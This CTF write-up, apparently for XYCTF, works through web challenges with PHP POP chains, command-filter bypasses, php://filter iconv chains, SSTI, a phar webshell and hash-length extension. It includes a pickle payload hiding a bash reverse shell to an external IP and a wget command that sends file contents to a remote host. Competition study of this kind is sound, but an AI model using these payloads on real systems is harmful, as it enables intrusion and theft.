XYCTF

Web

ezPop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c='ls';
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
if (isset($b['a'])) {
unset($b['a']);
}
$c=$this->c;
$d=$this->d;
call_user_func($a,$b)($c)($d);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
$a = new CCC();
$a->c = new AAA();
$a->c->s = new BBB();
echo serialize($a);

POST:

1
a=array_pop&1=system

利用array_pop弹出数组最后一个,system执行c的命令

连连看到底是连连什么看

来到what’s_this.php

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
echo file_get_contents('/flag');
}

PHP_INCLUDE_TO_SHELL_CHAR_DICT利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from base64 import b64encode


file_to_use = "/dev/null"
base64_payload = b64encode(b"XYCTF<").decode().replace("=", "")

# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += open("./res/" + (str(hex(ord(c)))).replace("0x", "")).read() + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"
filters += "|string.strip_tags"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

with open("test.php", "w") as f:
f.write('<?php echo file_get_contents("' + final_payload + '");?>')
print(filters)


脚本放在PHP_INCLUDE_TO_SHELL_CHAR_DICT文件夹下

解释一下原因:PHP_INCLUDE_TO_SHELL_CHAR_DICT链会过滤掉一些非法字符,最后转换会得到XYCTF,https://github.com/maple3142/My-CTF-Challenges/blob/master/ImaginaryCTF/Round%2028/Filter%20Master/README.md

传入的完整payload会是

1
php://filter/resource=data:,pXYCTF<|string.strip_tags|/resource=/dev/null

ezRCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
really ez?

借鉴

https://xz.aliyun.com/t/12242?time__1311=mqmhD5YIMD7GkDlc%2BEH%2BDfgpkDkzDAEiD#toc-2

ls的写法

1
2
3
4
5
6
$'\154\163'
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
$\'\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\'

$\'\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}${##}${##}))\'

8进制转换一下

cat /flag

1
2
$0<<<$0\<\<\<\$\'\\143\\141\\164\\40\\57\\146\\154\\141\\147\' -> cat /flag
$0<<<$0\<\<\<\$\'\\154\\163\\40\\57\' ->ls /

ezmd5

生成两个MD5一样的文件上传就是了

fastcoll_v1.0.0.5.exe -p 1.jpg -o 2.jpg 3.jpg

ezSerialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class Flag {
public $token;
public $password;



public function login()
{
return $this->token === $this->password;
}
}

$p=new Flag();

$p->token=&$p->password;
echo serialize($p);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}

class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}

class C {
public $wang1;

public function __call($wang1,$wang2)
{
include 'flag.php';

}
}


class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}

class E {
public $name = "xxxxx";
public $num;

public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}

$a=new E();
$a->num=new D();
$a->name=new D();
$a->num->lao = new B();
$a->num->lao->luo = new A();
$a->num->lao->luo->mack = new C();
echo serialize($a);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;

public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}
class XYCTFNO2
{
public $crypto0;
public $adwa;

public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "oSthing";

public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}

$a=new XYCTFNO3();
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa->crypto0="dev1l";
$a->KickyMu->adwa->T1ng="yuroandCMD258";
echo serialize($a);

POST

1
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php

牢牢记住,逝者为大

%0a换行绕过前面注释,%23住注释后面的垃圾,反引号执行命令,wget将结果外带,正则绕过flag过
滤,sort获取文件内容

post:

1
2
a=array_pop&system=1
cmd=%0a`$_GET[1]`;%23&1=wget vpsip:port/`sort /[e-g][k-m][0-b]g`

ezMake

1
echo '<?=system("cat flag")?>' > 1.php

ez?Make

两次hex编码绕过,一次编码会有f,被waf了

1
`echo 363336313734323032663636366336313637 | xxd -r -p | xxd -r -p`

我是一个复读机

弱口令+ssti

1
2
admin
123qwe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?sentence=我我
()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)
()|attr(request.args.gei)
(132)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)
(request.args.po)(request.args.cm)|attr(request.args.re)()
&cla=__class__
&bas=__base__
&sub=__subclasses__
&ini=__init__
&glo=__globals__
&gei=__getitem__
&o=os
&po=popen
&cm=cat /flag
&re=read

ezhttp

不多说了

client-ip

referer

via

ua头

cookie

warm up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);
if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] !=
$_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}
if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}
if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

第一关

1
?val1[]=2&val2[]=1&md5=0e215962017&XY=QNKCDZO&XYCTF=QNKCDZO

第二关

正则匹配e模式

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) &&
intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置
10来个level
} else {
die("有点汗流浃背");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET,单双引号的解析会出问题,用chr绕一下,构造脚本


def convert_to_ascii_special(text):
ascii_special = ''
for char in text:
ascii_code = ord(char)
ascii_special += 'chr({}).'.format(ascii_code)
ascii_special = ascii_special[:-1] # 去除最后一个加号
return ascii_special
user_input=''
while(user_input!='end'):
user_input = input("请输入要转换的字符:")
result = convert_to_ascii_special(user_input)
print(result)
1
2
a=/(.*)/ie&b=strtolower("\1")&c=${system(chr(99).chr(97).chr(116).chr(32).chr(47
).chr(102).chr(108).chr(97).chr(103))}

post

1
a[]=a

pharm

phar文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class evil{
public $cmd;
public $a;
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub
$obj=new evil();
$obj->cmd = 'eval(array_pop(getallheaders()));__halt_compiler();';
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","<?=phpinfo();?>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成phar文件

对文件phar后缀有过滤gzip饶过一下

gzip test.phar

将修改好的文件上传,改后缀位jpg,类型位image/jpeg

image-20240410204353045得到文件路径,用php协议绕过头检测,最后在bp修改http头,将aaa置于最后,命令执行

image-20240410204502243

ezClass

1
?a=SplFileInfo&aa=system&c=__toString&b=SplFileInfo&bb=cat /flag

Login

有登录就有注册

访问register.php

注册,然后登陆

点击跳转,看到cookie里有rememberme

一眼pickle反序列化

1
2
3
4
import base64
# payload=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0031\u0030\u002e\u0034\u0031\u002e\u0031\u0037\u002e\u0031\u0038\u0033\u002f\u0032\u0035\u0030\u0020\u0030\u003e\u0026\u0031\u0022\nos.'''
payload=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0030\u0031\u002e\u0033\u0034\u002e\u0038\u0030\u002e\u0031\u0035\u0032\u002f\u0039\u0039\u0039\u0039\u0020\u0030\u003e\u0026\u0031\u0022\nos.'''
print(base64.b64encode(payload))

反弹shell

image-20240412212203335

εZ?¿м@Kε¿?

报错读文件+makefile自动变量

Makefile 自动变量https://www.zhaixue.cc/makefile/makefile-autoval.html
在Makefile中,大家经常会见到类似$@、$^、$<这种类型的变量。这种变量一般称为自动变量,自动
变量是局部变量,作用域范围在当前的规则内,它们分别代表不同的含义:
$@:目标
$^:所有目标依赖
$<:目标依赖列表中的第一个依赖
$?:所有目标依赖中被修改过的文件
这里第一个依赖是就是 /flag
(注意==坑点==,之前不要试$>,会导致重定向输出创建新文件了,直接影响了后续判断为依赖是
FLAG,卡了半天读不到/flag

利用$<代表第一个依赖

配合$()代码执行报错输出flag

但这题两个$$代表一个

所以$$(<$<)

ezLFI

php链的利用

image-20240503190440924

1
file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

give me flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
highlight_file(__FILE__);
die($FLAG_md5);
}

$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();

if(md5($FLAG.$value.$time)===$md5)
{
echo "yes, give you flag: ";
echo $FLAG;
}
07adb40864b55ac9d878a561081c30e6

这题真是逆天,时间戳当哈希扩展攻击的字符串,害得我等了半天,先查询当前时间戳1714736140

变大一点,我加了300,这样就比较慢了其实

1
2
3
4
5
6
7
import requests
url='http://gz.imxbt.cn:20989/?md5=278d0593b7718538c93947140ecf8fb4&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00'
while True:
res=requests.get(url=url)
if "{" in res.text:
print(res.text)
break

image-20240503194119865

脚本不停访问直到出现flag

baby_unserialize